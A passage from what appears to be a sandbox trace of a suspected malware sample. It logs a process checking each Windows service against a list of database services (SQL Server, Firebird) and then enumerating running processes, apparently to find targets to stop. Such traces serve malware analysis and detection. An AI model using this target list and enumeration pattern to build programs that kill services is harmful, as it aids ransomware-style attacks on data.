lpString2="KeyIso") returned -1 [0092.803] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0092.803] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0092.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0092.804] lstrlenW (lpString="LanmanServer") returned 12 [0092.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0092.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0092.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0092.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0092.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0092.804] lstrlenW (lpString="LanmanWorkstation") returned 17 [0092.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0092.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0092.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0092.804] lstrlenW (lpString="lfsvc") returned 5 [0092.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0092.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0092.804] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0092.804] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0092.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0092.804] lstrlenW (lpString="lmhosts") returned 7 [0092.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0092.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0092.804] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0092.804] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0092.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0092.805] lstrlenW (lpString="LSM") returned 3 [0092.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0092.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0092.805] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0092.805] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0092.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0092.805] lstrlenW (lpString="MapsBroker") returned 10 [0092.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0092.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0092.805] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0092.805] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0092.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0092.805] lstrlenW (lpString="MpsSvc") returned 6 [0092.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0092.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0092.805] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0092.805] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0092.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0092.805] lstrlenW (lpString="NcbService") returned 10 [0092.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0092.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0092.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0092.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0092.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0092.806] lstrlenW (lpString="netprofm") returned 8 [0092.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0092.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0092.806] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0092.806] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0092.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0092.806] lstrlenW (lpString="NlaSvc") returned 6 [0092.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0092.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0092.806] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0092.806] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0092.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0092.806] lstrlenW (lpString="nsi") returned 3 [0092.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0092.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0092.806] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0092.806] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0092.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0092.806] lstrlenW (lpString="PcaSvc") returned 6 [0092.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0092.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0092.806] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0092.806] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0092.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0092.807] lstrlenW (lpString="PlugPlay") returned 8 [0092.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0092.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0092.807] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0092.807] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0092.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0092.807] lstrlenW (lpString="Power") returned 5 [0092.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0092.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0092.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0092.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0092.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0092.807] lstrlenW (lpString="ProfSvc") returned 7 [0092.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0092.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0092.807] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0092.807] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0092.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0092.807] lstrlenW (lpString="RpcEptMapper") returned 12 [0092.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.807] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0092.807] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0092.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0092.808] lstrlenW (lpString="RpcSs") returned 5 [0092.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0092.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0092.808] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0092.808] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0092.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0092.808] lstrlenW (lpString="SamSs") returned 5 [0092.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0092.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0092.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0092.808] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0092.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0092.808] lstrlenW (lpString="Schedule") returned 8 [0092.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0092.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0092.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0092.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0092.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0092.808] lstrlenW (lpString="SecurityHealthService") returned 21 [0092.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0092.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0092.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0092.808] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0092.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0092.809] lstrlenW (lpString="SENS") returned 4 [0092.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0092.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0092.809] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0092.809] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0092.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0092.809] lstrlenW (lpString="ShellHWDetection") returned 16 [0092.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0092.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0092.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0092.809] lstrlenW (lpString="Spooler") returned 7 [0092.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0092.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0092.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0092.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0092.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0092.809] lstrlenW (lpString="SSDPSRV") returned 7 [0092.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0092.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0092.809] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0092.809] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0092.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0092.810] lstrlenW (lpString="StateRepository") returned 15 [0092.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0092.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0092.810] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0092.810] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0092.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0092.810] lstrlenW (lpString="SysMain") returned 7 [0092.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0092.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0092.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0092.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0092.810] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4cb1e8 | out: hHeap=0x440000) returned 1 [0092.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0093.150] Process32FirstW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.151] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0093.152] lstrlenW (lpString="System") returned 6 [0093.152] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.152] lstrlenW (lpString="smss.exe") returned 8 [0093.152] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.153] lstrlenW (lpString="csrss.exe") returned 9 [0093.153] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.154] lstrlenW (lpString="wininit.exe") returned 11 [0093.154] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.155] lstrlenW (lpString="csrss.exe") returned 9 [0093.155] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.155] lstrlenW (lpString="winlogon.exe") returned 12 [0093.155] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.156] lstrlenW (lpString="services.exe") returned 12 [0093.156] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.157] lstrlenW (lpString="lsass.exe") returned 9 [0093.157] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.158] lstrlenW (lpString="svchost.exe") returned 11 [0093.158] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.158] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.158] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.159] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.159] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.160] lstrlenW (lpString="svchost.exe") returned 11 [0093.160] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.160] lstrlenW (lpString="dwm.exe") returned 7 [0093.160] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.161] lstrlenW (lpString="svchost.exe") returned 11 [0093.161] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.162] lstrlenW (lpString="svchost.exe") returned 11 [0093.162] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.163] lstrlenW (lpString="svchost.exe") returned 11 [0093.163] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.163] lstrlenW (lpString="svchost.exe") returned 11 [0093.163] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.164] lstrlenW (lpString="svchost.exe") returned 11 [0093.164] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.165] lstrlenW (lpString="svchost.exe") returned 11 [0093.165] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.166] lstrlenW (lpString="svchost.exe") returned 11 [0093.166] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.166] lstrlenW (lpString="svchost.exe") returned 11 [0093.166] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.167] lstrlenW (lpString="svchost.exe") returned 11 [0093.167] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.168] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.168] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.168] lstrlenW (lpString="svchost.exe") returned 11 [0093.168] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.169] lstrlenW (lpString="svchost.exe") returned 11 [0093.169] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.170] lstrlenW (lpString="audiodg.exe") returned 11 [0093.170] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0093.536] lstrlenW (lpString="sihost.exe") returned 10 [0093.536] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.537] lstrlenW (lpString="svchost.exe") returned 11 [0093.537] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.537] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.537] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0093.538] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0093.538] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0093.539] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0093.539] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.540] lstrlenW (lpString="explorer.exe") returned 12 [0093.540] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0093.540] lstrlenW (lpString="Memory Compression") returned 18 [0093.540] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0093.541] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0093.541] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0093.542] lstrlenW (lpString="SearchUI.exe") returned 12 [0093.542] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0093.542] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0093.543] Process32NextW (in: hSnapshot=0x300, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.543] 